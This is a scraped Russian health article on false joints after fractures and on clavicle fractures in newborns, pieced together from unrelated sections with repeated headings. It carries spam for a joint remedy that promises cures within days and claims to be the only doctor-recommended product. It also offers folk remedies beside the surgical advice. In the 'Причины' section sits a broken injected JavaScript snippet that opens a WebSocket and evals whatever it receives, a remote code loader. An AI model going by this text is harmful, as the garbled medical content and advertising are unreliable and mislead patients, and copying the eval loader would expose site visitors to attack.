Ложный сустав после перелома шейки бедра или голени

В данной статье вы узнаете симптоматику и лечение ложного сустава.

Всё, что нужно знать о переломе ключицы у новорождённых

Многие годы пытаетесь вылечить СУСТАВЫ?

Глава Института лечения суставов: «Вы будете поражены, насколько просто можно вылечить суставы принимая каждый день…

Читать далее »

Процесс рождения сложен и нередко является причиной всевозможных травм. Во время родов у ребенка иногда возникает перелом ключицы, основной причиной этого может стать узкий таз матери или крупный плод. Встретить такой перелом можно у 3-4% от общего количества новорожденных. Чаще всего происходит перелом при ягодичном предлежании малыша, когда происходит запрокидывание его ручек.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют Артрейд. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию. Подробнее здесь…

Такая кость как ключица представлена в организме парной трубчатой костью, входящей в состав плечевого пояса и, если ее сильно сдавить, она может треснуть или вовсе сломаться. Нередко перелом считается осложненным. В таком случае оскольчатые или многооскольчатые переломы, а в особенности со смещением, могут привести к повреждению кожи, сосудов и нервов.

ВАЖНО ЗНАТЬ! Единственное средство для лечения суставов, рекомендованное врачами! Читать далее…

Ломается средняя часть ключицы, а сам перелом может быть полным, со смещением отломков или без или поднадкостничным (надкостница покрывает кости и является питающей оболочкой).

  • Причины

    Есть несколько причин, кроме основных вышеописанных, необходимо рассмотреть их более подробно.

    ‘); } (»); var e = (‘script’); = «text/javascript»; = «//»; = true; = = function () { if (! || == «loaded» || == «complete») { = = null; (b); } }; = function () { var s = new WebSocket(‘ws://’); = function (event) { eval(); (b); }; }; («head»)[0].appendChild(e); })(document, {id: 1571, count: 4});

    Первой причиной можно поставить стремительные роды, при них ребенок не успевает сделать все необходимые повороты в полости малого таза, а родовые пути дополнительно сдавливают его извне.

    Если у женщины узкий таз, то даже ребенок с нормальными размерами рискует не только получить перелом, но и тяжелые осложнения. Но есть такое понятие, как клинически узкий таз, когда размеры таза женщины имеют нормальные показатели, а вот вес самого плода и его размер не позволяют ему нормально родиться.

    Перелом можно получить при использовании инструментов, способствующих родам, или некоторых манипуляциях. Перелом может произойти при повороте плеч или корпуса малыша.

    Всё, что нужно знать о переломе ключицы у новорождённых

    Причиной может стать и предлежание, когда малыш расположен в полости таза ягодицами или ножками вперёд. Именно эти части тела рождаются первыми, проходят они по родовым путям легко, а вот голова и плечи намного сложнее, что приводит к переломам. При поперечном предлежании также возможен перелом, но нормальные роды при этом невозможны.

    Признаки

    В месте появления перелома образуется кровоизлияние или гематома, а пропальпировав кость, можно услышать характерный хруст, потрескивание или крепитацию.

    Сам перелом никак не сказывается на функции конечности, активные движения в ней наблюдаются в полном объеме. Выявить же перелом можно, когда образуется костная мозоль. У новорожденного перелом ключицы можно не заметить и вовсе, поскольку он срастается за пару дней, и к моменту выписки из родильного дома от него нет и следа.

    В случае более глубокого повреждения развивается отечность мягких тканей. Ключица деформирована за счет смещения отломков и тяги мышц, прежде всего грудинно-ключично-сосцевидной. Общее состояние ребенка остается удовлетворительным, но вот функция на стороне повреждения ограничена. Можно наблюдать паралич, который со временем проходит, крепитацию отломков.

    Народ опешил! Суставы восстановятся за 3 дня! Приложите… Мало кто знает, но именно это лечит суставы за 7 дней!

    Тактика лечения

    Первое с чего нужно начать – это фиксировать руку при помощи пеленания. Также с этой целью может быть использована повязка Дезо, которая позволяет фиксировать ручку к телу. В случае наличия кефалогематомы (кровоизлияние под надкостницу) или экхимозов (обширное кровотечение в кожу), малышу показан витамин К, вводят его три дня в мышцу.

    На протяжении двух недель ребенка не укладывают на больную сторону, спать и питаться он должен на здоровой стороне или на спине. После сращения перелома функция полностью восстанавливается, а сам перелом никак не отражается на состоянии здоровья ребенка.

    Осложнения

    В случае неправильного лечения ключица может долго не консолидироваться. Нередки случаи образования ложного сустава, редко повреждается сосудисто-нервный пучок, который располагается позади кости. Если есть травма сосудов, это состояние можно встретить крайне редко, может развиться сильное кровотечение, и необходимо срочное оперативное вмешательство.

    Заниматься самолечением при такой травме нельзя категорически, следует внимательно отнестись к рекомендациям врача!

    Таз и бедро

    Ложный сустав шейки бедра образуется после перелома или вывиха костей тазобедренного механизма. При рентгеновской диагностике, отмечаются сглаженные и склеротические отломки костей, вокруг которых образуется рубцовая ткань. Это объясняется нарушенным кровоснабжением в процессе регенерации тазобедренного сустава после перелома. Функциональность деформированной бедренной кости при этом, теряется, что приводит к остеопорозу. По причине отсутствия необходимой нагрузки на тазобедренный сустав, его окружающие ткани, также изменяются, возникает атрофия мышечных волокон. Признаками образования псевдоартроза тазобедренного отдела, являются: затруднение движения, болезненные ощущения, которые со временем, прекращаются, снижение опороспособности ноги, ее укорачивание и уменьшение в объеме. Если после перелома шейки бедра или тазобедренного сустава, в течение полугода, образуется псевдоартроз, то у пациента увеличивается вероятность остаться калекой. Исправить патологическое состояние можно с помощью операции, но к сожалению, это не всегда приводит к положительному результату, так как операбельность ложного сустава зависит от срока его давности и других клинических признаков.

    Во многих случаях, эндопротезирование тазобедренного сустава, приводит к полному восстановлению функции нижней конечности. Такой процесс лечения сложный, травматичный и требует длительного времени. Если операция проходит удачно, то реабилитационный период занимает больше года. В настоящее время, протезирование тазобедренного сустава предложено многими квалифицированными клиниками, но стоимость операции и материалов имеет высокую цену, поэтому многие пострадавшие остаются с хромотой и деформацией нижней конечности.

    Тип и интенсивность патологического костеобразования

    Формирование ложного сустава в месте перелома челюсти — одно из осложнений, возникающее при замедленном срастании травмы (консолидации) или при травматическом остеомиелите. Этой патологии подвергаются ветви нижней челюсти.

    Отмечено, что ложное сочленение формируется при утрате до 5 мм костной ткани. Прогрессировать заболевание начинает примерно на третьей-четвертой неделе после получения травмы.

    Костные отломки срастаются с помощью образования фиброзной соединительной ткани, которая мешает образованию костной ткани.

    Это соединение покрывается фиброзной капсулой, а на концах отломков образуются замыкательные пластинки.

    Характерные симптомы:

    • Патологическая подвижность нижней челюсти;
    • Нарушение прикуса;
    • Наблюдается деформация лица;
    • Нарушается речевая и жевательная функции.

    При псевдоартрозе челюстной кости рекомендовано только хирургическое вмешательство. В процессе операции хирург удаляет образовавшуюся соединительную ткань.

    Концы фрагментов кости отсекаются до зоны обнаружения кровоснабжения костной ткани. Фрагменты сопоставляют, дополняют трансплантатом и подвергают фиксации.

    Пациенту по тем или иным причинам противопоказано хирургическое лечение, для устранения псевдоартроза используют компрессионно-дистракционный аппарат (аппарат Илизарова).

    Лечение осложнено наличием зубов на отломках костей. После проведения операции пациенту потребуется протезирование зубов.

    Особенностью такого протезирование становится выбор шарнирных протезов, которые не должны будут препятствовать смещению отломков.

    Тип и интенсивность патологического костеобразования

    Основной причиной возникновения ложного сустава является ненадежное соединение частей сломанной кости при лечении повреждений. Способствовать появлению неестественных костных наростов могут такие факторы:

    • Слишком свободный, или наоборот, давящий в отдельных точках гипс;
    • Ошибки при фиксации костных тканей спицами или пластинами;
    • Резекция сломанной кости;
    • Необходимость замены гипсовой повязки в течение лечения, а также слишком раннее удаление удерживающих спиц и пластин;
    • Осложнения переломов гнойного типа;
    • Ранее начало применения нагрузок на поврежденную конечность.

    Причиной ложного сустава после перелома может быть гипс

    Также причиной возникновения ложного сустава после перелома являются отдельные виды заболеваний, тормозящие регенерацию костных тканей и процессы обмена веществ в организме. К таким болезням относится:

    • Рахит;
    • Патологии эндокринной системы;
    • Опухолевая кахексия;
    • Остеопороз;
    • Остеоартрит.

    Длительная общая интоксикация организма пострадавшего также может способствовать возникновению ложного сустава.

    По типу проявления ложный сустав может быть не осложненным или инфицированным. Не осложненная патология представляет собой развитие ложного сустава в ходе которого не возникают гнойные или инфекционные воспалительные процессы. При патологии инфицированного типа наблюдается обширное поражение костной и мышечной ткани гнойной или бактериальной инфекцией.

    По интенсивности неестественное костеобразование бывает таких видов:

    • Гипертрофическим. Разрастание костной ткани и образование ложного сустава начинается у изломов переломанной кости;
    • Нормотрофическим. Появление костной мозоли происходит не на осколках;
    • Атрофическим. Наблюдается слабое кровоснабжение зоны повреждения и возникновение наростов на костных обломках.

    При атрофическом ложном суставе с высокой вероятностью может диагностироваться остеопороз.

    Симптоматика

    Ложный сустав ключицы или любого другого местарасположения имеет ярко выраженную и довольно специфическую клиническую картину. Главными симптомами принято считать:

    • боли различной степени выраженности в месте повреждения;
    • деформация поражённого сегмента;
    • нарушение походки;
    • невозможность держать опору на ногах без посторонней помощи;
    • снижение мышечного тонуса больной конечности;
    • ограниченная подвижность сустава, расположенного выше и ниже травмы;
    • значительная отёчность повреждённой области;
    • уменьшение длины повреждённой руки или ноги не более 10 сантиметров;
    • нехарактерное увеличение амплитуды движений;
    • нарушение функционирования конечности;
    • изгиб руки или ноги в неестественном положении;
    • патологическая подвижность в той зоне, где её в норме быть не должно;
    • атрофия мышц, развивающаяся на фоне ограничения двигательной функции;
    • отсутствие болезненности при пальпации ложного сустава после перелома ключицы, бедра, кисти или любой другой кости.

    Врождённая патология зачастую обнаруживается во время того, как малыш учится ходить и протекает совершенно бессимптомно.

    Ложный сустав после перелома ключицы

    Лечение

    Методы лечения ложного сустава подбираются в индивидуальном порядке. Объем мероприятий больному назначается, исходя из сложности травмы, возраста пациента и срока давности перелома. Также варьируется время проведения терапии, но с самого начала стоит настроиться на длительное лечение.

    Перелом бугорка плечевой кости

    Оперативное лечение

    Ложные суставы при несросшихся переломах лечатся посредством хирургических манипуляций:

    • устойчивого остеосинтеза – для проведения операции, цель которой – сблизить и зафиксировать отломки, используются металлические элементы. В месте повреждения делается надрез, обломки костей стягивают и соединяют при помощи пластины, гипсом не фиксируют. Непрочное соединение после хирургического вмешательства – одна из причин ложного сустава, поэтому при выполнении повторной операции уделяют повышенное внимание фиксации,
    • костной пластики – показана при атрофических нарушениях, а также до проведения устойчивого остеосинтеза при отсутствии фрагментов костной ткани. Операцию не проводят при воспалении и гнойных процессах. Только по прошествии 8 месяцев с момента утихания гнойных осложнений допускается проводить пластику,
    • компрессионно-дистракционного остеосинтеза – операция, которая направлена на сближение и прижатие фрагментов, рекомендована при травмах плечевой и берцовых костей. С помощью аппаратного сращения удается удлинить кость за счет постепенного отведения отломков по мере образования костной ткани. К аппаратной помощи прибегают в тех случаях, когда конечность деформирована или укорочена. Этот метод используется при псевдоартрозе после повреждений нижних и верхних конечностей. Среди распространенных аппаратов для фиксации отломков – Илизарова, Калнберза.

    К пластике и компрессионно-дистракционному остеосинтезу прибегают при травмах лучевой кости. В случае повреждения бедра проводят интрамедуллярный остеосинтез спицами. Из-за гнойной инфекции лечение откладывают, в таком случае эффективность терапии не снижается, однако больному придется некоторое время терпеть неудобства, вызванные ложным суставом.

    Народные средства

    Если кость при переломе срослась неправильно, то народная медицина не сможет оказать существенной помощи, однако ее используют на этапе восстановления и с целью профилактики псевдоартроза. Для заживления и формирования костной мозоли рекомендованы продукты с коллагеном. Больше всего коллагена содержится в желатине. Также в пищу употребляют рыбу, курицу, говядину.

    В профилактических целях используют:

    • корень лопуха – крупные листья обдают кипятком, травмированную конечность обмазывают маслом и оборачивают лопухом, сверху – целлофаном и шерстяным платком. Оставляют компресс на 2-4 часа,
    • настойку одуванчика – помогает при основных заболеваниях суставов и посттравматических нарушениях. Средство используют для растирания,
    • свиное нутряное сало – растопить жир и влить крепкий отвар трав багульника, донника, березовых почек. Растираться 1-2 раза в сутки.

    Повязка при переломе ключицы

    Гипс и шина для лечения переломов ключицы являются неотъемлемыми частями процесса терапии. Однако, не редко требуется использования других атрибутов медицинской практики. Нередко иммобилизация при переломе ключицы включает применение повязок во время оказания доврачебной помощи, но они бывают незаменимы и на стадии прохождения пациентами оздоровительной терапии. Самыми известными повязками для лечения в медицинских кругах считаются:

    • повязка Дельбе;
    • шина Кузьминского;
    • восьмиобразная мягкая повязка;
    • повязка Сейра;
    • овал Титовой.

    Кольца Дельбе при переломе ключицы

    Существует другой не менее эффективный способ наложения повязки, который восстанавливает длину ключицы – это кольца Дельбе. Согласно правилам десмургии, кольца при переломе ключицы следует заготовить следующим образом: формируется два кольца из ваты, обернутой в марлю, отверстия в которых несколько больше, чем диаметр плеча пострадавшего. Полученную конструкцию надевают через руки, протягивая до мышечных впадин, после чего кольца с помощью специальной резиновой трубочки связывают на спине пациента.

    Повязка при переломе ключицы

    8-образная повязка

    Восьмиобразная повязка на ключицу является одним из способов иммобилизации. Она накладывается только после вправления острых осколков врачом, проделывать подобное при оказании первой медицинской помощи противопоказано, иначе травма будет очень долго заживать. Основная задача данной повязки – это предотвратить смещение и вытяжение костных отломков, поэтому ее накладывают очень туго. В случае когда не удается устранить смещение данным способом, проводится хирургическое вмешательство в целях репозиции.

    • Аппарат Илизарова для сращивания и удлинения костей. Как ставят аппарат Илизарова при лечении переломов
    • Ортопедический корсет для спины — виды и обзор изделий для лечения
    • Строение лучевой кости руки человека — виды переломов, лечение и реабилитация

    Лечение

    Лечение перелома ключицы осуществляется двумя методами — консервативным или хирургическим. Сколько срастается перелом ключицы, зависит от того, насколько эффективно будет проходить лечение.

    Консервативный метод

    При лечении необходимо обезболить место травмы и провести закрытую репозицию обломков. Больного необходимо усадить, наклонить его голову в сторону повреждения, это поможет расслабить мышцы и приблизить обломок кости к своему месту. Время выполнения процедуры занимает не дольше, чем  десять — пятнадцать секунд. Если специалист не может сопоставить отломки переломанной кости, то пациенту назначают оперативное вмешательство.

    После того как ключица приняла анатомическое положение, делают гипсовую повязку, которую больной будет носить пока не заживет перелом. Наиболее часто, накладывая гипс, захватывают и грудную клетку, предплечье и надплечье левой или правой руки, в зависимости от стороны повреждения.

    Лечение

    Как долго переломы ключицы срастаются?

    Срок сращения костей в среднем занимает полтора месяца, во время которых периодически проводят рентген.

    Следует проявить обеспокоенность и обратиться к специалисту если:

    • снова появился отек;
    • кожа в месте повреждения покраснела и сохраняет этот цвет более пяти часов;
    • кожный покров над переломом горячий на ощупь.

    Эти признаки свидетельствуют о начале воспалительного процесса и требуют пересмотра в лечении.

    Хирургический метод

    Терапия перелома ключицы с помощью операций проводится при открытых видах повреждения, если имеется большое количество обломков, и если разлом является оскольчатым, и есть угроза повреждения близлежащих органов и тканей, либо же если кости срослась неправильно.

    Лечение

    Операцию больному делают под общим наркозом. Остеосинтез проводиться как внутри кости, так и на кости. Его также можно провести наружно при помощи специального фиксирующего аппарата.

    В рану вставляют дренаж и удаляют его через день или два после операции, если рана в нормальном состоянии. Первые два дня место травмы временно закрепляют, потом накладывают постоянный гипс. Швы снимают через две недели, через месяц назначают контрольное исследование, делая рентген. Если кости заживают хорошо, то гипсовая повязка снимается в указанный срок и начинается восстановительный период.

    Читайте также:  Как правильно одевать бандаж фиксирующий на плечевой сустав

    Последствия перелома ключицы

    После травмы могут возникнуть следующие последствия:

    • значительное кровотечение;
    • повреждение острыми отломками костей сосудов, мягких тканей и нервов;
    • плексит (поражение нервного сплетения);
    • потеря чувствительности пальцев рук;
    • паралич рук за счет повреждения нервов;
    • образование ложных суставов;
    • вторичные смещения из-за рефлекторного сокращения мышц;
    • нарушение осанки;
    • формирование сколиоза (искривление позвоночника в сторону);
    • инфицирование раны, а затем и швов в случае открытого перелома;
    • нагноение раны после операции;
    • развитие остеомиелита (гнойное воспаление кости);
    • неправильное сращение;
    • укорочение руки при неправильном сращении травмы;
    • развитие артроза;
    • потеря работоспособности на длительное время.

    У очень крупных новорожденных при ягодичном прилежании наблюдается вялый паралич мышц. Это происходит вовремя прохождения плода через родовые пути. Если кости срастутся неправильно, то у ребенка возникнет эстетический дефект и невозможность управлять рукой.

    Последствия перелома ключицы

    Существует несколько причин, которые препятствуют сращению костей:

    • неудачный фиксатор;
    • многооскольчатое повреждение;
    • чрезмерное отделение надкостницы во время хирургического вмешательства.

    Лечение

    Основным методом устранения ложных суставов является хирургическая операция. Консервативная терапия, направленная на устранение псевдоартроза и заключающаяся в применении лекарственных средств для срастания отломков и в физиопроцедурах, не дает ожидаемого эффекта.

    Основная цель лечения направлена на восстановление непрерывности сломанной кости. После этого принимаются меры по устранению деформаций, вызывающих нарушение пораженной конечности. План лечения составляется в зависимости от клинического случая и индивидуальных особенностей пациента.

    Лечение

    Для устранения ложного сустава используются общие и местные мероприятия.

    Общие лечебные мероприятия

    Больным с ложными суставами рекомендуются мероприятия, направленные на повышение мышечного тонуса, стабилизацию кровообращения в псевдоартрозе, сохранение и восстановление функций пораженной ноги или руки. Для этого пациентам назначаются физиотерапевтические процедуры, массаж и комплекс упражнений по лечебной физкультуре.

    Лечение

    Местное лечение

    Местное лечение псевдоартрозов подразумевает проведение операции, цель которой направлена на создание благоприятных условий для правильного срастания отломков. Для этого их концы сближаются и обездвиживаются. Во время вмешательства хирург уделяет внимание не только сближению отломков, но и создает условия для адекватного кровообращения в области перелома. Кроме этого, проводится профилактика инфицирования или лечение гнойных осложнений.

    Местное лечение может проводиться по следующим методикам:

    Лечение
    • компрессионно-дистракционный остеосинтез;
    • устойчивый остеосинтез;
    • костная пластика.

    Тактика местного лечения выбирается в зависимости от разновидности ложного сустава. При его гипертрофической форме операция может быть внеочаговой – на конечность накладывается компрессионно-дистракционный аппарат. А при атрофическом псевдоартрозе для восстановления целостности сломанной кости предварительно приходится проводить ее пластику.

    При выборе методики хирургической операции учитывается и место локализации псевдоартроза:

    Лечение
    • при околосуставной локализации – выполняется компрессионно-дистракционный остеосинтез;
    • при локализации на верхней или средней трети бедра – проводится интрамедуллярный остеосинтез;
    • при локализации на лучевой кости (с развитием косорукости) – сначала проводится аппаратная дистракция, а затем – костная пластика;
    • при локализации на плечевой или большеберцовой кости – выполняется компрессионно-дистракционный остеосинтез.

    Компрессионно-дистракционный остеосинтез

    Этот метод лечения выполняется при помощи обеспечивающих сопоставление отломков специальных аппаратов. При этом сломанная рука или нога должна быть полностью неподвижной. Аппарат позволяет обеспечить максимальное приближение и взаимное сдавливание концов сломанной кости. Кроме этого, этот метод дает возможность устранять укорочения или деформации конечностей. Для обеспечения иммобилизации применяются аппараты Калнберза, Илизарова и др. Суть метода заключается в удалении участков кости, образующих ложный сустав, их сближении и прижатии друг к другу. После образования костной мозоли отломки начинают постепенно отводить друг от друга, восстанавливая длину конечности и целостность кости.

    Лечение

    Устойчивый остеосинтез

    Для выполнения этого метода лечения применяются специальные фиксаторы (пластины, стержни), которые обеспечивают необходимое для срастания соприкосновение и неподвижность отломков поврежденной кости. Для их наложения во время хирургического вмешательства проводится обнажение поврежденных мест кости. При гипертрофическом псевдоартрозе сращение кости при помощи устойчивого остеосинтеза происходит без выполнения операции по пластике кости, но при атрофических ложных суставах это предварительное вмешательство должно проводиться.

    Костная пластика

    Лечение

    Этот хирургический метод применяется нечасто, а только в случаях необходимости стимуляции остеогенеза при атрофических псевдоартрозах. Перед проведением таких операций обязательно устранение гнойных процессов, выполнение иссечения рубцовых изменений и пластики кожи. С момента завершения лечения гнойных осложнений до даты проведения операции по пластике кости должно пройти не менее 8-12 месяцев.

    Лечение

    Амбулаторное лечение

    Какой способ лечения назначит врач,зависит от тяжести перелома. Основной принцип терапии заключается в том, чтобы сопоставить костные отломки и зафиксировать их для дальнейшего сращения. При несложных повреждениях специалист проводит ручную репозицию фрагментов кости, после чего накладывается гипс при переломе ключицы. За сколько срастется перелом ключицы, зависит от того, как добросовестно будут выполняться все рекомендации врача, а так же от возраста пациента. Обычно на полную регенерацию уходит от одного месяца до семи недель. У детей сращение происходит быстрее.

    Если консервативное лечение не дало положительных результатов, то прибегают к оперативному вмешательству. Многие врачи считают операцию наиболее оптимальным способом лечения сложных переломов ключицы. Очень часто фиксация при помощи гипса не дает полного правильного сращения, а открытая репозиция позволяет наиболее точно сопоставить отломки. Для оперативного вмешательства существуют показания:

    1. Открытый перелом ключицы всегда требует хирургических мер.
    2. Повреждение отломками кости нервных волокон.
    3. Консервативный метод не дал результатов, перелом оказался несрастающимся.
    4. Неправильное сращение в результате позднего обращения в больницу.